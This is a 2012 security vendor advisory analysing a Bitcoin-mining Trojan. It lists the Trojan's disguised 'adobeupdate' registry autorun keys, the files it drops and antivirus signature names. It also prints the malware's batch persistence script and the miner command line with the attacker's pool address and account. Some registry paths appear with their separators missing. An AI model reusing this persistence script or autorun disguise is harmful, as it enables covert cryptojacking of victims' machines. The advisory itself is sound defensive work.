New Bitcoin miner Trojan spotted in the wild (May 18, 2012)

The Sonicwall UTM research team received reports of a new Bitcoin Miner Trojan in the wild. Bitcoin is a decentralized p2p crypto-currency. This kind of malware has been covered in a previous sonicalert but has recently become more and more prevalent as attackers recognise it as an easy and effective way to generate and transfer currency without being caught.

The Trojan uses the following icon:

The Trojan makes the following DNS request:

The Trojan adds the following keys to the windows registry to enable startup after reboot:

• HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun adobeupdate ""%AppData%8 8l3.lnk""
• HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun adobeupdater ""%AppData%8 8rundll32.exe""

The Trojan adds the following files to the filesystem:

• %AppData%8 8API.class
• %AppData%8 8API.java
• %AppData%8 8bat.bat
• %AppData%8 8bt.lnk
• %AppData%8 8diablo120328.cl
• %AppData%8 8diakgcn120427.cl
• %AppData%8 8l3.lnk
• %AppData%8 8libcurl-4.dll
• %AppData%8 8libpdcurses.dll
• %AppData%8 8libusb-1.0.dll
• %AppData%8 8miner.php
• %AppData%8 8OpenCL.dll
• %AppData%8 8phatk120223.cl
• %AppData%8 8poclbm120327.cl
• %AppData%8 8pthreadGC2.dll
• %AppData%8 8rundll32.exe
• %AppData%8 8settings.txt
• %AppData%8 8svchost.exe
• %AppData%8 8svchost2.exe

rundll32.exe is an application called StealthRunner that is written by a user on the bitcointalk.org forum. It uses the following icon:

svchost.exe and svchost2.exe use the following icons:

bat.bat contains the following text:

@echo off
%windir%system32taskkill.exe /im svchost.exe
%windir%system32taskkill.exe /im rundll32.exe
%windir%system32taskkill.exe /im svchost2.exe
%windir%system32reg.exe add HKCUsoftwaremicrosoftwindowscurrentversionrun /v adobeupdate /d ""%appdata%3 4l3.lnk"" /f
%windir%system32reg.exe add HKCUsoftwaremicrosoftwindowscurrentversionrun /v adobeupdater /d ""%appdata%3 4rundll32.exe"" /f

settings.txt contains the bitcoin mining account data of the attacker:

svchost2.exe -o http://eu.triplemining.com:8344 -u klazim2000_3 -p 7747
3
0

The Trojan was observed communicating with the mining server:

SonicWALL Gateway AntiVirus provides protection against this threat via the following signatures:

• GAV: CoinMiner.I_3 (Trojan)
• GAV: Ainslot.AA_12 (Trojan)